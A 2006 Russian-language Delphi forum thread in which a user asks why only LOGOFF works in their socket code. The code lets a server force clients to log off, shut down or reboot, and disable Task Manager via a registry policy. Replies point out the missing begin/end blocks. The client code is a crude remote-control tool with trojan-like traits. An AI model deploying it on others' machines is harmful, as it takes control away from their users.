Проблема с передачей данных

Тема в разделе "Delphi - Сети", создана пользователем -, 2 авг 2006.

Статус темы:
Закрыта.
  1. Гость

    Проблема в следущем:
    При отпраки сообщения по сетки я немогу обработать пришедший текст с сервера на клиент
    Код отправки с сервера на клиента..
    procedure TForm1.Button4Click(Sender: TObject);
    var i:Integer;
    begin
    if Checkbox1.Checked then begin
    for i:=0 to ListBox1.Items.Capacity do
    try ServerSocket1.Socket.Connections.SendText('LOGOFF');
    except end;
    if Checkbox2.Checked then begin
    for i:=0 to ListBox1.Items.Capacity do
    try ServerSocket1.Socket.Connections.SendText('SHUTDOWN');
    except end;
    if Checkbox3.Checked then begin
    for i:=0 to ListBox1.Items.Capacity do
    try ServerSocket1.Socket.Connections.SendText('REBOOT');
    except end;
    if Checkbox4.Checked then begin
    for i:=0 to ListBox1.Items.Capacity do
    try ServerSocket1.Socket.Connections.SendText('DisableTaskMgr');
    except end;
    end; end;end; end; end;
    -----------------
    Код клиента:
    procedure TForm1.ClientSocket1Read(Sender: TObject;
    Socket: TCustomWinSocket);
    var
    reg:TRegistry;
    s:string;
    ip:string;
    begin
    ip:=Socket.RemoteAddress;
    reg:=TRegistry.Create;
    s:=Socket.ReceiveText;
    if s = 'LOGOFF' then
    ExitWindowsEx(EWX_LOGOFF or ewx_force,0);
    Socket.SendText(ip+': Óäà÷íî âûëåø èç ñèñòåìû');
    if s = 'DisableTaskMgr' then
    reg.rootkey:=HKEY_CURRENT_USER;
    reg.openkey('Software\Microsoft\Windows\CurrentVersion\Policies\System',false);
    reg.WriteBool('DisableTaskMgr',true);
    reg.CloseKey;
    Socket.SendText(ip+': Äèñïå÷åð çàäà÷ âûêëþ÷åí');
    if s = 'SHUTDOWN' then
    ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0);
    Socket.SendText(ip+': Âûêëþ÷åí');
    if s = 'REBOOT' then
    ExitWindowsEx(EWX_REBOOT or ewx_force,0);
    Socket.SendText(ip+': Ïåðåçàãðóæåí');
    end;
    -------------
    Тойсть срабатывает толшько ЛОГ ОФФ а остальные функция не работают помогите как написать надо ?
     
  2. 62316e

    62316e Гость

    Если не ощыбаюсь в каталоге \Demos лежыт пример(ы) как юзать твои сокеты.
     
  3. Barmutik

    Barmutik Гость

    У меня какое-то странное ощущение что в коде после if не хватает begin end ..
     
Загрузка...
Похожие Темы - Проблема передачей данных
  1. lemuriez
    Ответов:
    25
    Просмотров:
    4.070
  2. c0de3r
    Ответов:
    5
    Просмотров:
    126
  3. DobermannTT
    Ответов:
    10
    Просмотров:
    135
  4. SoulPaladin
    Ответов:
    4
    Просмотров:
    131
  5. Artael
    Ответов:
    1
    Просмотров:
    110
Статус темы:
Закрыта.

Поделиться этой страницей